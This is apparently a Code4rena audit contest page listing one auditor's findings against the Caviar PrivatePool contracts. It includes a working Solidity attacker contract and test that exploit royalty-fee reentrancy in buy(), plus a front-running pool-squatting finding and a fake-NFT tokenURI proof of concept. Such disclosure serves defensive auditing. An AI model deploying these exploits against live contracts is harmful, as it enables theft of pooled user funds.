Platform: Code4rena
Start Date: 07/04/2023
Pot Size: $47,000 USDC
Total HM: 20
Participants: 120
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 4
Id: 230
League: ETH
Rank: 5/120
Findings: 4
Award: $1,520.16
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: Voyvoda
Also found by: AkshaySrivastav, Haipls, aviggiano, teddav
820.1517 USDC - $820.15
https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L244 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L274
The order of operations during the `PrivatePool::buy' call allows the recipient of royalties, or whoever can configure them, to steal funds from contracts in which his nft are used:
The existing order of operations:
NFT
to user balance, call and calculate royaltyFee
for this NFT
royaltyFee
and transfer the royalty to the royalty recipientThe main problem is that _getRoyalty
is called twice, which allows to the inclusion of additional operations between them when receiving nft. The fact that when the royalty is paid, the amount is not checked again
Accordingly, the royalty owner can rotate sales/purchases and change the royalty fee as long as it is profitable for him
File: PrivatePool.sol 240: ERC721(nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);
But for 20 NFTs received, it causes the change of royaltyInfo
for the first 19 NFTs to 100% fee, (or another maximum possible)
Test with a simple example:
// Attacker contract for example: // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import {ERC721TokenReceiver} from "solmate/tokens/ERC721.sol"; import "./shared/Milady.sol"; contract RoyaltyFeeAttack is ERC721TokenReceiver { Milady public milady; uint256 public point; constructor(Milady milady_, uint256 point_) { milady = milady_; point = point_; } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external virtual override returns (bytes4) { point--; if (point == 0) { milady.setRoyaltyInfo(1 ether, milady.royaltyRecipient()); } return ERC721TokenReceiver.onERC721Received.selector; } } // ** Test:** Added to Buy.t.sol on L180, after test_PaysRoyaltiesIfRoyaltyFeeIsSet File: test/PrivatePool/Buy.t.sol +L6: import "../RoyaltyFeeAttack.sol"; +L180 function test_RoyaltyAttack() public { // setup init settings for royalty RoyaltyFeeAttack attacker = new RoyaltyFeeAttack(milady, 3); uint256 royaltyFeeRate = 0.01e18; // 1% milady.setRoyaltyInfo(royaltyFeeRate, address(attacker)); vm.mockCall( address(factory), abi.encodeWithSelector( ERC721.ownerOf.selector, address(privatePool) ), abi.encode(address(this)) ); privatePool.setPayRoyalties(true); tokenIds.push(1); tokenIds.push(2); tokenIds.push(3); // provide init balance of PrivatePool vm.deal(address(privatePool), 100 ether); // calculate price of tokens (uint256 netInputAmount, , ) = privatePool.buyQuote( tokenIds.length * 1e18 ); // add royaltyFee to input Amount uint256 royaltyFee = (netInputAmount * royaltyFeeRate) / 1e18; uint256 royaltyFeeForLastAfterUpdate = (netInputAmount * 1 ether) / tokenIds.length / 1e18; netInputAmount = netInputAmount + royaltyFee + royaltyFeeForLastAfterUpdate; vm.deal(address(attacker), netInputAmount); vm.prank(address(attacker)); console.log("Balance attacker before", address(attacker).balance); privatePool.buy{value: netInputAmount}(tokenIds, tokenWeights, proofs); // wi check balance of recipient wiche hardcode in Milady.sol for easy test run, // but you can just add address(0xbeefbeef).balance + address(attacker).balance for clearify console.log("Balance attacker after", address(0xbeefbeef).balance + address(attacker).balance); }
Result:
Balance attacker before 201500000000000000000 Balance attacker after 150500000000000000000
We can see that the user paid back the price of 3 NFT in the amount of 100%, there are nuances here because this example is based on the tests that are present. In the case of developing a completely separate contract, the returned balance will be larger, since it is a test and Milady, applied a royalty fee for 3 NFT in the first cycle, and not as described in the ideal case when 100% will not be applied to the last NFT (due to the test blanks that are used), but the point is that the issue is shown even with such a test.
Next, the user can sell these NFTs and spin it all around
#0 - c4-pre-sort
2023-04-18T10:26:12Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-20T19:23:19Z
0xSorryNotSorry marked the issue as duplicate of #320
#2 - c4-judge
2023-05-01T07:02:18Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: AkshaySrivastav
Also found by: 0xTheC0der, Dug, GT_Blockchain, Haipls, adriro, bin2chen, carlitox477, dingo2077, fs0c, hasmama, hihen, holyhansss_kr, juancito, ladboy233, philogy, saian, said, sashik_eth, yixxas, zion
10.8554 USDC - $10.86
PrivatePools
and send fake creations with the same salt, which leads to the rejection of normal transactions.To create an address, only salt is used, which is passed as a parameter. This leads to the fact that anyone can occupy potential addresses of pools of other users
An attacker can monitors the mempool to find transactions calling the function create of PrivatePool and front-runs them to create the corresponding PrivatePool to make the benign transaction fail.
In the event that, for certain reasons, the User sent funds to an address that has not yet been created. An attacker can trace the creation of this address and withdraw funds
Referenced code:
#0 - c4-pre-sort
2023-04-20T17:18:31Z
0xSorryNotSorry marked the issue as duplicate of #419
#1 - c4-judge
2023-05-01T07:24:16Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: Haipls
Also found by: 0xSmartContract, Rolezn
658.1464 USDC - $658.15
https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L161 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePoolMetadata.sol#L17
_tokenId
is not a valid NFTtokenURI
method does not revert:// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; contract NFT { function balanceOf(address) external pure returns (uint256) { 1; } } contract NonNFT { address public immutable nft; address public constant baseToken = address(0); uint256 public constant virtualBaseTokenReserves = 1 ether; uint256 public constant virtualNftReserves = 1 ether; uint256 public constant feeRate = 500; constructor() { nft = address(new NFT()); } }
tokenURI()
for the deployed user's address, one can fetch information about a non-existent NFT.#0 - c4-pre-sort
2023-04-20T19:31:08Z
0xSorryNotSorry marked the issue as primary issue
#1 - outdoteth
2023-04-22T16:08:54Z
not sure if this should be medium or not
#2 - c4-sponsor
2023-04-22T16:11:16Z
outdoteth requested judge review
#3 - c4-sponsor
2023-04-22T16:29:41Z
outdoteth marked the issue as sponsor confirmed
#4 - GalloDaSballo
2023-04-27T08:28:58Z
#5 - GalloDaSballo
2023-04-28T09:04:49Z
Because the functionality breaks the EIP721 spec, I agree with Medium Severity, no funds are at risk
#6 - c4-judge
2023-04-28T09:05:05Z
GalloDaSballo marked the issue as selected for report